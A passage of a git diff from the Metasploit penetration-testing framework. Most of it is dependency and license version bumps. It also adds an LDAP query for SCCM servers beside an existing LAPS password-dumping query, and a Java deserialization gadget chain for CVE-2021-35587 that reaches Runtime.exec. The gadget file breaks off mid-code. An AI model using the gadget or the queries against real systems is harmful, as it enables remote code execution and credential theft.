memory_profiler (1.1.0) metasm (1.0.5) - metasploit-concern (5.0.3) + metasploit-concern (5.0.5) activemodel (~> 7.0) activesupport (~> 7.0) + drb + mutex_m railties (~> 7.0) zeitwerk - metasploit-credential (6.0.11) + metasploit-credential (6.0.16) + bigdecimal + csv + drb metasploit-concern metasploit-model metasploit_data_models (>= 5.0.0) + mutex_m net-ssh pg railties rex-socket rubyntlm rubyzip - metasploit-model (5.0.2) + metasploit-model (5.0.4) activemodel (~> 7.0) activesupport (~> 7.0) + bigdecimal + drb + mutex_m railties (~> 7.0) - metasploit-payloads (2.0.189) - metasploit_data_models (6.0.6) + metasploit-payloads (2.0.221) + metasploit_data_models (6.0.10) activerecord (~> 7.0) activesupport (~> 7.0) arel-helpers + bigdecimal + drb metasploit-concern metasploit-model (>= 3.1) + mutex_m pg railties (~> 7.0) recog webrick - metasploit_payloads-mettle (1.0.35) + metasploit_payloads-mettle (1.0.42) method_source (1.1.0) mime-types (3.6.0) logger mime-types-data (~> 3.2015) - mime-types-data (3.2024.1001) - mini_portile2 (2.8.8) - minitest (5.25.1) + mime-types-data (3.2025.0304) + mini_portile2 (2.8.9) + minitest (5.25.5) mqtt (0.6.0) msgpack (1.6.1) multi_json (1.15.0) mustermann (3.0.3) ruby2_keywords (~> 0.0.1) - mutex_m (0.2.0) + mutex_m (0.3.0) nessus_rest (0.1.6) - net-imap (0.5.0) + net-imap (0.5.6) date net-protocol net-ldap (0.19.0) @@ -340,13 +384,13 @@ GEM timeout net-sftp (4.0.0) net-ssh (>= 5.0.0, < 8.0.0) - net-smtp (0.5.0) + net-smtp (0.5.1) net-protocol net-ssh (7.3.0) network_interface (0.0.4) nexpose (7.3.0) nio4r (2.7.4) - nokogiri (1.18.2) + nokogiri (1.18.8) mini_portile2 (~> 2.8.2) racc (~> 1.4) nori (2.7.1) @@ -360,117 +404,140 @@ GEM ostruct (0.6.1) packetfu (2.0.0) pcaprub (~> 0.13.1) - parallel (1.26.3) - parser (3.3.5.0) + parallel (1.27.0) + parser (3.3.8.0) ast (~> 2.4.1) racc + parslet (1.8.2) patch_finder (1.0.2) pcaprub (0.13.3) - pdf-reader (2.12.0) - Ascii85 (~> 1.0) + pdf-reader (2.14.1) + Ascii85 (>= 1.0, < 3.0, != 2.0.0) afm (~> 0.2.1) hashery (~> 2.0) ruby-rc4 ttfunk pg (1.5.9) + pp (0.6.2) + prettyprint + prettyprint (0.2.0) + prism (1.4.0) pry (0.14.2) coderay (~> 1.1) method_source (~> 1.0) pry-byebug (3.10.1) byebug (~> 11.0) pry (>= 0.13, < 0.15) + psych (5.2.6) + date + stringio public_suffix (6.0.1) - puma (6.4.3) + puma (6.6.0) nio4r (~> 2.0) racc (1.8.1) - rack (2.2.10) + rack (2.2.17) rack-protection (3.2.0) base64 (>= 0.1.0) rack (~> 2.2, >= 2.2.4) - rack-test (2.1.0) + rack-session (1.0.2) + rack (< 3) + rack-test (2.2.0) rack (>= 1.3) - rails-dom-testing (2.2.0) + rackup (1.0.1) + rack (< 3) + webrick + rails-dom-testing (2.3.0) activesupport (>= 5.0.0) minitest nokogiri (>= 1.6) - rails-html-sanitizer (1.6.0) + rails-html-sanitizer (1.6.2) loofah (~> 2.21) - nokogiri (~> 1.14) - railties (7.0.8.6) - actionpack (= 7.0.8.6) - activesupport (= 7.0.8.6) - method_source + nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0) + railties (7.1.5.1) + actionpack (= 7.1.5.1) + activesupport (= 7.1.5.1) + irb + rackup (>= 1.0.0) rake (>= 12.2) - thor (~> 1.0) - zeitwerk (~> 2.5) + thor (~> 1.0, >= 1.2.2) + zeitwerk (~> 2.6) rainbow (3.1.1) - rake (13.2.1) - rasn1 (0.13.0) + rake (13.3.0) + rasn1 (0.14.0) strptime (~> 0.2.5) rb-readline (0.5.5) - recog (3.1.11) + rdoc (6.14.2) + erb + psych (>= 4.0.0) + recog (3.1.17) nokogiri - redcarpet (3.6.0) - regexp_parser (2.9.2) - reline (0.5.10) + redcarpet (3.6.1) + regexp_parser (2.10.0) + reline (0.6.1) io-console (~> 0.5) require_all (3.0.0) - rex-arch (0.1.16) + rex-arch (0.1.18) rex-text - rex-bin_tools (0.1.9) + rex-bin_tools (0.1.10) metasm rex-arch rex-core rex-struct2 rex-text - rex-core (0.1.32) - rex-encoder (0.1.7) + rex-core (0.1.34) + rex-encoder (0.1.8) metasm rex-arch rex-text - rex-exploitation (0.1.40) + rex-exploitation (0.1.41) jsobfu metasm rex-arch rex-encoder rex-text rexml - rex-java (0.1.7) - rex-mime (0.1.8) + rex-java (0.1.8) + rex-mime (0.1.11) rex-text - rex-nop (0.1.3) + rex-nop (0.1.4) rex-arch - rex-ole (0.1.8) + rex-ole (0.1.9) rex-text - rex-powershell (0.1.100) + rex-powershell (0.1.101) rex-random_identifier rex-text ruby-rc4 - rex-random_identifier (0.1.13) + rex-random_identifier (0.1.16) + bigdecimal rex-text - rex-registry (0.1.5) - rex-rop_builder (0.1.5) + rex-registry (0.1.6) + rex-rop_builder (0.1.6) metasm rex-core rex-text - rex-socket (0.1.58) + rex-socket (0.1.63) dnsruby rex-core - rex-sslscan (0.1.10) + rex-sslscan (0.1.13) rex-core rex-socket rex-text - rex-struct2 (0.1.4) - rex-text (0.2.59) - rex-zip (0.1.5) + rex-struct2 (0.1.5) + rex-text (0.2.61) + bigdecimal + rex-zip (0.1.6) rex-text - rexml (3.3.9) + rexml (3.4.1) + rinda (0.2.0) + drb + forwardable + ipaddr rkelly-remix (0.0.7) rspec (3.13.0) rspec-core (~> 3.13.0) rspec-expectations (~> 3.13.0) rspec-mocks (~> 3.13.0) - rspec-core (3.13.2) + rspec-core (3.13.3) rspec-support (~> 3.13.0) rspec-expectations (3.13.3) diff-lcs (>= 1.2.0, < 2.0) @@ -478,7 +545,7 @@ GEM rspec-mocks (3.13.2) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.13.0) - rspec-rails (7.0.1) + rspec-rails (7.1.1) actionpack (>= 7.0) activesupport (>= 7.0) railties (>= 7.0) @@ -488,26 +555,28 @@ GEM rspec-support (~> 3.13) rspec-rerun (1.1.0) rspec (~> 3.0) - rspec-support (3.13.1) - rubocop (1.67.0) + rspec-support (3.13.2) + rubocop (1.75.7) json (~> 2.3) - language_server-protocol (>= 3.17.0) + language_server-protocol (~> 3.17.0.2) + lint_roller (~> 1.1.0) parallel (~> 1.10) parser (>= 3.3.0.2) rainbow (>= 2.2.2, < 4.0) - regexp_parser (>= 2.4, < 3.0) - rubocop-ast (>= 1.32.2, < 2.0) + regexp_parser (>= 2.9.3, < 3.0) + rubocop-ast (>= 1.44.0, < 2.0) ruby-progressbar (~> 1.7) - unicode-display_width (>= 2.4.0, < 3.0) - rubocop-ast (1.33.0) - parser (>= 3.3.1.0) + unicode-display_width (>= 2.4.0, < 4.0) + rubocop-ast (1.44.1) + parser (>= 3.3.7.2) + prism (~> 1.4) ruby-macho (4.1.0) - ruby-mysql (4.1.0) - ruby-prof (1.4.2) + ruby-mysql (4.2.0) + ruby-prof (1.7.1) ruby-progressbar (1.13.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) - ruby_smb (3.3.13) + ruby_smb (3.3.15) bindata (= 2.4.15) openssl-ccm openssl-cmac @@ -515,10 +584,11 @@ GEM windows_error (>= 0.1.4) rubyntlm (0.6.5) base64 - rubyzip (2.3.2) + rubyzip (2.4.1) sawyer (0.9.2) addressable (>= 2.3.5) faraday (>= 0.17.3, < 3) + securerandom (0.4.1) simplecov (0.18.2) docile (~> 1.1) simplecov-html (~> 0.11) @@ -532,32 +602,37 @@ GEM sqlite3 (1.7.3) mini_portile2 (~> 2.8.0) sshkey (3.0.0) + stringio (3.1.1) strptime (0.2.5) swagger-blocks (3.0.0) - systemu (2.6.5) - test-prof (1.4.2) + syslog (0.3.0) + logger + test-prof (1.4.4) thin (1.8.2) daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) rack (>= 1, < 3) thor (1.3.2) - tilt (2.4.0) + tilt (2.6.0) timecop (0.9.10) - timeout (0.4.1) + timeout (0.4.3) + toml (0.2.0) + parslet (~> 1.8.0) ttfunk (1.8.0) bigdecimal (~> 3.1) tzinfo (2.0.6) concurrent-ruby (~> 1.0) - tzinfo-data (1.2024.2) + tzinfo-data (1.2025.1) tzinfo (>= 1.0.0) - unicode-display_width (2.6.0) + unicode-display_width (3.1.4) + unicode-emoji (~> 4.0, >= 4.0.4) + unicode-emoji (4.0.4) unix-crypt (1.3.1) - uuid (2.3.9) - macaddr (~> 1.0) warden (1.2.9) rack (>= 2.0.9) - webrick (1.8.2) - websocket-driver (0.7.6) + webrick (1.9.1) + websocket-driver (0.7.7) + base64 websocket-extensions (>= 0.1.0) websocket-extensions (0.1.5) win32api (0.1.0) @@ -572,13 +647,16 @@ GEM nori (~> 2.0, >= 2.7.1) rexml (~> 3.0) rubyntlm (~> 0.6.0, >= 0.6.3) + with_env (1.1.0) xdr (3.0.3) activemodel (>= 4.2, < 8.0) activesupport (>= 4.2, < 8.0) + xml-simple (1.1.9) + rexml xmlrpc (0.3.3) webrick yard (0.9.37) - zeitwerk (2.6.18) + zeitwerk (2.7.3) PLATFORMS ruby @@ -588,6 +666,7 @@ DEPENDENCIES debug (>= 1.0.0) factory_bot_rails fivemat + license_finder (= 5.11.1) memory_profiler metasploit-framework! octokit @@ -596,12 +675,12 @@ DEPENDENCIES redcarpet rspec-rails rspec-rerun - rubocop - ruby-prof (= 1.4.2) + rubocop (= 1.75.7) + ruby-prof simplecov (= 0.18.2) test-prof timecop yard BUNDLED WITH - 2.5.10 + 2.5.22 diff --git a/LICENSE b/LICENSE index 9798b913ca52e..3490894e5e2f0 100644 --- a/LICENSE +++ b/LICENSE @@ -2,7 +2,7 @@ Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Source: https://www.metasploit.com/ Files: * -Copyright: 2006-2020, Rapid7, Inc. +Copyright: 2006-2025, Rapid7, Inc. License: BSD-3-clause # The Metasploit Framework is provided under the 3-clause BSD license provided diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 35357f3c92835..bc610eace8c9e 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -1,60 +1,62 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh -Ascii85, 1.1.1, MIT +Ascii85, 2.0.1, MIT aarch64, 2.1.0, "Apache 2.0" abbrev, 0.1.2, "ruby, Simplified BSD" -actionpack, 7.0.8.6, MIT -actionview, 7.0.8.6, MIT -activemodel, 7.0.8.6, MIT -activerecord, 7.0.8.6, MIT -activesupport, 7.0.8.6, MIT +actionpack, 7.1.5.1, MIT +actionview, 7.1.5.1, MIT +activemodel, 7.1.5.1, MIT +activerecord, 7.1.5.1, MIT +activesupport, 7.1.5.1, MIT addressable, 2.8.7, "Apache 2.0" afm, 0.2.2, MIT -allure-rspec, 2.24.5, "Apache 2.0" -allure-ruby-commons, 2.24.5, "Apache 2.0" -arel-helpers, 2.15.0, MIT -ast, 2.4.2, MIT -aws-eventstream, 1.3.0, "Apache 2.0" -aws-partitions, 1.999.0, "Apache 2.0" -aws-sdk-core, 3.211.0, "Apache 2.0" -aws-sdk-ec2, 1.486.0, "Apache 2.0" -aws-sdk-ec2instanceconnect, 1.52.0, "Apache 2.0" -aws-sdk-iam, 1.112.0, "Apache 2.0" -aws-sdk-kms, 1.95.0, "Apache 2.0" -aws-sdk-s3, 1.169.0, "Apache 2.0" -aws-sdk-ssm, 1.183.0, "Apache 2.0" -aws-sigv4, 1.10.1, "Apache 2.0" +allure-rspec, 2.26.0, "Apache 2.0" +allure-ruby-commons, 2.26.0, "Apache 2.0" +arel-helpers, 2.16.0, MIT +ast, 2.4.3, MIT +aws-eventstream, 1.3.2, "Apache 2.0" +aws-partitions, 1.1065.0, "Apache 2.0" +aws-sdk-core, 3.220.1, "Apache 2.0" +aws-sdk-ec2, 1.511.0, "Apache 2.0" +aws-sdk-ec2instanceconnect, 1.55.0, "Apache 2.0" +aws-sdk-iam, 1.119.0, "Apache 2.0" +aws-sdk-kms, 1.99.0, "Apache 2.0" +aws-sdk-s3, 1.182.0, "Apache 2.0" +aws-sdk-ssm, 1.191.0, "Apache 2.0" +aws-sigv4, 1.11.0, "Apache 2.0" base64, 0.2.0, "ruby, Simplified BSD" bcrypt, 3.1.20, MIT bcrypt_pbkdf, 1.1.1, MIT -benchmark, 0.4.0, "ruby, Simplified BSD" -bigdecimal, 3.1.8, "ruby, Simplified BSD" +benchmark, 0.4.1, "ruby, Simplified BSD" +bigdecimal, 3.2.2, "ruby, Simplified BSD" bindata, 2.4.15, "Simplified BSD" bootsnap, 1.18.4, MIT -bson, 5.0.1, "Apache 2.0" +bson, 5.0.2, "Apache 2.0" builder, 3.3.0, MIT -bundler, 2.5.10, MIT +bundler, 2.5.22, MIT byebug, 11.1.3, "Simplified BSD" chunky_png, 1.4.0, MIT coderay, 1.1.3, MIT concurrent-ruby, 1.3.4, MIT +connection_pool, 2.5.3, MIT cookiejar, 0.3.4, "Simplified BSD" crass, 1.0.6, MIT -csv, 3.3.0, "ruby, Simplified BSD" +csv, 3.3.2, "ruby, Simplified BSD" daemons, 1.4.1, MIT date, 3.4.1, "ruby, Simplified BSD" debug, 1.8.0, "ruby, Simplified BSD" -diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later" -dnsruby, 1.72.2, "Apache 2.0" +diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later" +dnsruby, 1.72.4, "Apache 2.0" docile, 1.4.1, MIT domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0" -drb, 2.2.1, "ruby, Simplified BSD" +drb, 2.2.3, "ruby, Simplified BSD" ed25519, 1.3.0, MIT elftools, 1.3.1, MIT em-http-request, 1.1.7, MIT em-socksify, 0.3.3, MIT -erubi, 1.13.0, MIT +erb, 5.0.2, "ruby, Simplified BSD" +erubi, 1.13.1, MIT eventmachine, 1.2.7, "ruby, GPL-2.0" -factory_bot, 6.5.0, MIT +factory_bot, 6.5.1, MIT factory_bot_rails, 6.4.4, MIT faker, 3.5.1, MIT faraday, 2.7.11, MIT @@ -65,57 +67,61 @@ ffi, 1.16.3, "New BSD" fiddle, 1.1.6, "ruby, Simplified BSD" filesize, 0.2.0, MIT fivemat, 1.3.7, MIT +forwardable, 1.3.3, "ruby, Simplified BSD" getoptlong, 0.2.1, "ruby, Simplified BSD" gssapi, 1.3.1, MIT gyoku, 1.4.0, MIT hashery, 2.1.2, "Simplified BSD" hrr_rb_ssh, 0.4.2, "Apache 2.0" hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0" -http-cookie, 1.0.7, MIT +http-cookie, 1.0.8, MIT http_parser.rb, 0.8.0, MIT -httpclient, 2.8.3, ruby -i18n, 1.14.6, MIT -io-console, 0.7.2, "ruby, Simplified BSD" -irb, 1.7.4, "ruby, Simplified BSD" +httpclient, 2.9.0, ruby +i18n, 1.14.7, MIT +io-console, 0.8.1, "ruby, Simplified BSD" +ipaddr, 1.2.7, "ruby, Simplified BSD" +irb, 1.15.2, "ruby, Simplified BSD" jmespath, 1.6.2, "Apache 2.0" jsobfu, 0.4.2, "New BSD" -json, 2.7.5, ruby -language_server-protocol, 3.17.0.3, MIT +json, 2.10.2, ruby +language_server-protocol, 3.17.0.5, MIT +license_finder, 5.11.1, MIT +lint_roller, 1.1.0, MIT little-plugger, 1.1.4, MIT -logger, 1.6.1, "ruby, Simplified BSD" +logger, 1.6.6, "ruby, Simplified BSD" logging, 2.4.0, MIT -loofah, 2.23.1, MIT -macaddr, 1.7.2, ruby +loofah, 2.24.1, MIT +lru_redux, 1.1.0, MIT memory_profiler, 1.1.0, MIT metasm, 1.0.5, LGPL-2.1 -metasploit-concern, 5.0.3, "New BSD" -metasploit-credential, 6.0.11, "New BSD" -metasploit-framework, 6.4.52, "New BSD" -metasploit-model, 5.0.2, "New BSD" -metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD" -metasploit_data_models, 6.0.6, "New BSD" -metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD" +metasploit-concern, 5.0.5, "New BSD" +metasploit-credential, 6.0.16, "New BSD" +metasploit-framework, 6.4.76, "New BSD" +metasploit-model, 5.0.4, "New BSD" +metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD" +metasploit_data_models, 6.0.10, "New BSD" +metasploit_payloads-mettle, 1.0.42, "3-clause (or ""modified"") BSD" method_source, 1.1.0, MIT mime-types, 3.6.0, MIT -mime-types-data, 3.2024.1001, MIT -mini_portile2, 2.8.8, MIT -minitest, 5.25.1, MIT +mime-types-data, 3.2025.0304, MIT +mini_portile2, 2.8.9, MIT +minitest, 5.25.5, MIT mqtt, 0.6.0, MIT msgpack, 1.6.1, "Apache 2.0" multi_json, 1.15.0, MIT mustermann, 3.0.3, MIT -mutex_m, 0.2.0, "ruby, Simplified BSD" +mutex_m, 0.3.0, "ruby, Simplified BSD" nessus_rest, 0.1.6, MIT -net-imap, 0.5.0, "ruby, Simplified BSD" +net-imap, 0.5.6, "ruby, Simplified BSD" net-ldap, 0.19.0, MIT net-protocol, 0.2.2, "ruby, Simplified BSD" net-sftp, 4.0.0, MIT -net-smtp, 0.5.0, "ruby, Simplified BSD" +net-smtp, 0.5.1, "ruby, Simplified BSD" net-ssh, 7.3.0, MIT network_interface, 0.0.4, MIT nexpose, 7.3.0, "New BSD" nio4r, 2.7.4, "MIT, Simplified BSD" -nokogiri, 1.18.2, MIT +nokogiri, 1.18.8, MIT nori, 2.7.1, MIT octokit, 4.25.1, MIT openssl-ccm, 1.2.3, MIT @@ -123,100 +129,114 @@ openssl-cmac, 2.0.2, MIT openvas-omp, 0.0.4, MIT ostruct, 0.6.1, "ruby, Simplified BSD" packetfu, 2.0.0, "New BSD" -parallel, 1.26.3, MIT -parser, 3.3.5.0, MIT +parallel, 1.27.0, MIT +parser, 3.3.8.0, MIT +parslet, 1.8.2, MIT patch_finder, 1.0.2, "New BSD" pcaprub, 0.13.3, LGPL-2.1 -pdf-reader, 2.12.0, MIT +pdf-reader, 2.14.1, MIT pg, 1.5.9, "Simplified BSD" +pp, 0.6.2, "ruby, Simplified BSD" +prettyprint, 0.2.0, "ruby, Simplified BSD" +prism, 1.4.0, MIT pry, 0.14.2, MIT pry-byebug, 3.10.1, MIT +psych, 5.2.6, MIT public_suffix, 6.0.1, MIT -puma, 6.4.3, "New BSD" +puma, 6.6.0, "New BSD" racc, 1.8.1, "ruby, Simplified BSD" -rack, 2.2.10, MIT +rack, 2.2.17, MIT rack-protection, 3.2.0, MIT -rack-test, 2.1.0, MIT -rails-dom-testing, 2.2.0, MIT -rails-html-sanitizer, 1.6.0, MIT -railties, 7.0.8.6, MIT +rack-session, 1.0.2, MIT +rack-test, 2.2.0, MIT +rackup, 1.0.1, MIT +rails-dom-testing, 2.3.0, MIT +rails-html-sanitizer, 1.6.2, MIT +railties, 7.1.5.1, MIT rainbow, 3.1.1, MIT -rake, 13.2.1, MIT -rasn1, 0.13.0, MIT +rake, 13.3.0, MIT +rasn1, 0.14.0, MIT rb-readline, 0.5.5, BSD -recog, 3.1.11, unknown -redcarpet, 3.6.0, MIT -regexp_parser, 2.9.2, MIT -reline, 0.5.10, ruby +rdoc, 6.14.2, ruby +recog, 3.1.17, unknown +redcarpet, 3.6.1, MIT +regexp_parser, 2.10.0, MIT +reline, 0.6.1, ruby require_all, 3.0.0, MIT -rex-arch, 0.1.16, "New BSD" -rex-bin_tools, 0.1.9, "New BSD" -rex-core, 0.1.32, "New BSD" -rex-encoder, 0.1.7, "New BSD" -rex-exploitation, 0.1.40, "New BSD" -rex-java, 0.1.7, "New BSD" -rex-mime, 0.1.8, "New BSD" -rex-nop, 0.1.3, "New BSD" -rex-ole, 0.1.8, "New BSD" -rex-powershell, 0.1.100, "New BSD" -rex-random_identifier, 0.1.13, "New BSD" -rex-registry, 0.1.5, "New BSD" -rex-rop_builder, 0.1.5, "New BSD" -rex-socket, 0.1.58, "New BSD" -rex-sslscan, 0.1.10, "New BSD" -rex-struct2, 0.1.4, "New BSD" -rex-text, 0.2.59, "New BSD" -rex-zip, 0.1.5, "New BSD" -rexml, 3.3.9, "Simplified BSD" +rex-arch, 0.1.18, "New BSD" +rex-bin_tools, 0.1.10, "New BSD" +rex-core, 0.1.34, "New BSD" +rex-encoder, 0.1.8, "New BSD" +rex-exploitation, 0.1.41, "New BSD" +rex-java, 0.1.8, "New BSD" +rex-mime, 0.1.11, "New BSD" +rex-nop, 0.1.4, "New BSD" +rex-ole, 0.1.9, "New BSD" +rex-powershell, 0.1.101, "New BSD" +rex-random_identifier, 0.1.16, "New BSD" +rex-registry, 0.1.6, "New BSD" +rex-rop_builder, 0.1.6, "New BSD" +rex-socket, 0.1.63, "New BSD" +rex-sslscan, 0.1.13, "New BSD" +rex-struct2, 0.1.5, "New BSD" +rex-text, 0.2.61, "New BSD" +rex-zip, 0.1.6, "New BSD" +rexml, 3.4.1, "Simplified BSD" +rinda, 0.2.0, "ruby, Simplified BSD" rkelly-remix, 0.0.7, MIT rspec, 3.13.0, MIT -rspec-core, 3.13.2, MIT +rspec-core, 3.13.3, MIT rspec-expectations, 3.13.3, MIT rspec-mocks, 3.13.2, MIT -rspec-rails, 7.0.1, MIT +rspec-rails, 7.1.1, MIT rspec-rerun, 1.1.0, MIT -rspec-support, 3.13.1, MIT -rubocop, 1.67.0, MIT -rubocop-ast, 1.33.0, MIT +rspec-support, 3.13.2, MIT +rubocop, 1.75.7, MIT +rubocop-ast, 1.44.1, MIT ruby-macho, 4.1.0, MIT -ruby-mysql, 4.1.0, MIT -ruby-prof, 1.4.2, "Simplified BSD" +ruby-mysql, 4.2.0, MIT +ruby-prof, 1.7.1, "Simplified BSD" ruby-progressbar, 1.13.0, MIT ruby-rc4, 0.1.5, MIT ruby2_keywords, 0.0.5, "ruby, Simplified BSD" -ruby_smb, 3.3.13, "New BSD" +ruby_smb, 3.3.15, "New BSD" rubyntlm, 0.6.5, MIT -rubyzip, 2.3.2, "Simplified BSD" +rubyzip, 2.4.1, "Simplified BSD" sawyer, 0.9.2, MIT +securerandom, 0.4.1, "ruby, Simplified BSD" simplecov, 0.18.2, MIT simplecov-html, 0.13.1, MIT simpleidn, 0.2.3, MIT sinatra, 3.2.0, MIT sqlite3, 1.7.3, "New BSD" sshkey, 3.0.0, MIT +stringio, 3.1.1, "ruby, Simplified BSD" strptime, 0.2.5, "Simplified BSD" swagger-blocks, 3.0.0, MIT -systemu, 2.6.5, ruby -test-prof, 1.4.2, MIT +syslog, 0.3.0, "ruby, Simplified BSD" +test-prof, 1.4.4, MIT thin, 1.8.2, "GPL-2.0+, ruby" thor, 1.3.2, MIT -tilt, 2.4.0, MIT +tilt, 2.6.0, MIT timecop, 0.9.10, MIT -timeout, 0.4.1, "ruby, Simplified BSD" +timeout, 0.4.3, "ruby, Simplified BSD" +toml, 0.2.0, MIT ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only" tzinfo, 2.0.6, MIT -tzinfo-data, 1.2024.2, MIT -unicode-display_width, 2.6.0, MIT +tzinfo-data, 1.2025.1, MIT +unicode-display_width, 3.1.4, MIT +unicode-emoji, 4.0.4, MIT unix-crypt, 1.3.1, 0BSD -uuid, 2.3.9, MIT warden, 1.2.9, MIT -webrick, 1.8.2, "ruby, Simplified BSD" -websocket-driver, 0.7.6, "Apache 2.0" +webrick, 1.9.1, "ruby, Simplified BSD" +websocket-driver, 0.7.7, "Apache 2.0" websocket-extensions, 0.1.5, "Apache 2.0" win32api, 0.1.0, unknown windows_error, 0.1.5, BSD winrm, 2.3.9, "Apache 2.0" +with_env, 1.1.0, MIT xdr, 3.0.3, "Apache 2.0" +xml-simple, 1.1.9, MIT xmlrpc, 0.3.3, "ruby, Simplified BSD" yard, 0.9.37, MIT -zeitwerk, 2.6.18, MIT +zeitwerk, 2.7.3, MIT diff --git a/config/application.rb b/config/application.rb index bda8166b912e7..2140840327ec6 100644 --- a/config/application.rb +++ b/config/application.rb @@ -41,18 +41,9 @@ class Application < Rails::Application config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)] config.autoloader = :zeitwerk - case Rails.env - when "development" - config.eager_load = false - when "test" - config.eager_load = false - when "production" - config.eager_load = false - end - - if ActiveRecord.respond_to?(:legacy_connection_handling=) - ActiveRecord.legacy_connection_handling = false - end + config.load_defaults 7.1 + + config.eager_load = false end end end diff --git a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml index 94c0595178026..6d3e9d7c724fe 100644 --- a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml +++ b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml @@ -249,7 +249,7 @@ queries: - https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf - https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 - action: ENUM_LAPS_PASSWORDS - description: 'Dump info about computers that have LAPS enabled, and passwords for them if available.' + description: 'Dump info about computers that have LAPS v1 enabled, and passwords for them if available.' filter: '(ms-MCS-AdmPwd=*)' attributes: - cn @@ -387,3 +387,12 @@ queries: references: - https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers - https://trustedsec.com/blog/diving-into-pre-created-computer-accounts + - action: ENUM_SCCM_MANAGEMENT_POINTS + description: 'Find all registered SCCM/MECM management points' + filter: '(objectclass=mssmsmanagementpoint)' + attributes: + - cn + - dNSHostname + - msSMSSiteCode + references: + - https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md diff --git a/data/exploits/CVE-2021-35587/gadget.java b/data/exploits/CVE-2021-35587/gadget.java new file mode 100644 index 0000000000000..6ecaa9c23c51c --- /dev/null +++ b/data/exploits/CVE-2021-35587/gadget.java @@ -0,0 +1,136 @@ +// This gadget chain targets Oracle Access Manager on WebLogic (CVE-2021-35587) and is based upon: +// * Y4er: https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java +// * Jang: https://twitter.com/testanull/status/1502114473989279744 +// +// Tested against Oracle Access Manager version: +// * 12.2.1.4.0 +// * 12.2.1.3.0 +// +// Note: The classes used in this chain do not have a serialVersionUID explicitly defined, so the JVM will compute one. +// This has the effect that if the class changes between versions, the computed serialVersionUID will differ between +// versions. As such we need to account for this, and generate the gadget for the different versions. +// +// We collect these JAR files from the OAM install (actually part of the WebLogic application server). +// $ sha1sum **/* +// 6de9309c3bcbc0478da85a8f60325c4ee5419cf1 12.2.1.3.0/coherence.jar +// d58cf115884e1ae76fb0e7b8e022f7447af63a66 12.2.1.3.0/com.bea.core.weblogic.rmi.client.jar +// ba45c235668885dff671eff34ee1b6ca57aefa6a 12.2.1.4.0/coherence.jar +// d3f2e0778774123ae19654ad0960600bddf79389 12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar +// +// We can see the serialVersionUID changes for the classes in coherence.jar, for example: +// $ serialver -classpath 12.2.1.3.0/coherence.jar com.tangosol.util.comparator.ExtractorComparator +// com.tangosol.util.comparator.ExtractorComparator: private static final long serialVersionUID = -339238653537079588L; +// $ serialver -classpath 12.2.1.4.0/coherence.jar com.tangosol.util.comparator.ExtractorComparator +// com.tangosol.util.comparator.ExtractorComparator: private static final long serialVersionUID = -453812047863165663L; +// +// We can see the serialVersionUID does not change for BasicServiceContext: +// $ serialver -classpath 12.2.1.3.0/com.bea.core.weblogic.rmi.client.jar weblogic.rmi.provider.BasicServiceContext +// weblogic.rmi.provider.BasicServiceContext: private static final long serialVersionUID = -1989708991725000930L; +// $ serialver -classpath 12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar weblogic.rmi.provider.BasicServiceContext +// weblogic.rmi.provider.BasicServiceContext: private static final long serialVersionUID = -1989708991725000930L; +// +// Compile with: +// $ javac -cp 12.2.1.4.0/coherence.jar:12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar gadget.java +// +// Run with: +// $ java --add-opens java.base/java.util=ALL-UNNAMED -cp 12.2.1.4.0/coherence.jar:12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar:. gadget +// +// Save the output for that version: +// $ mv gadget.bin gadget_12.2.1.4.0.bin +// +// We then get the following gadget chains: +// $ sha1sum *.bin +// 1326ef6fe634e2e2bb83705507d766efbfcfc141 gadget_12.2.1.3.0.bin +// fad1e1e243dd9aca09658893737341008ef27096 gadget_12.2.1.4.0.bin +import java.io.*; +import java.lang.reflect.Field; +import java.util.PriorityQueue; + +// coherence.jar +import com.tangosol.util.ValueExtractor; +import com.tangosol.util.comparator.ExtractorComparator; +import com.tangosol.util.extractor.ChainedExtractor; +import com.tangosol.util.extractor.ReflectionExtractor; + +// com.bea.core.weblogic.rmi.client.jar +import weblogic.rmi.provider.BasicServiceContext; + +public class gadget { + + public static void main(String[] args) throws Exception + { + ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}); + ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); + ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"EXEC_ARG0", "EXEC_ARG1", "EXEC_ARG2"}}); + + ValueExtractor[] valueExtractors = new ValueExtractor[]{ + reflectionExtractor1, + reflectionExtractor2, + reflectionExtractor3, + }; + + Class clazz = ChainedExtractor.class.getSuperclass(); 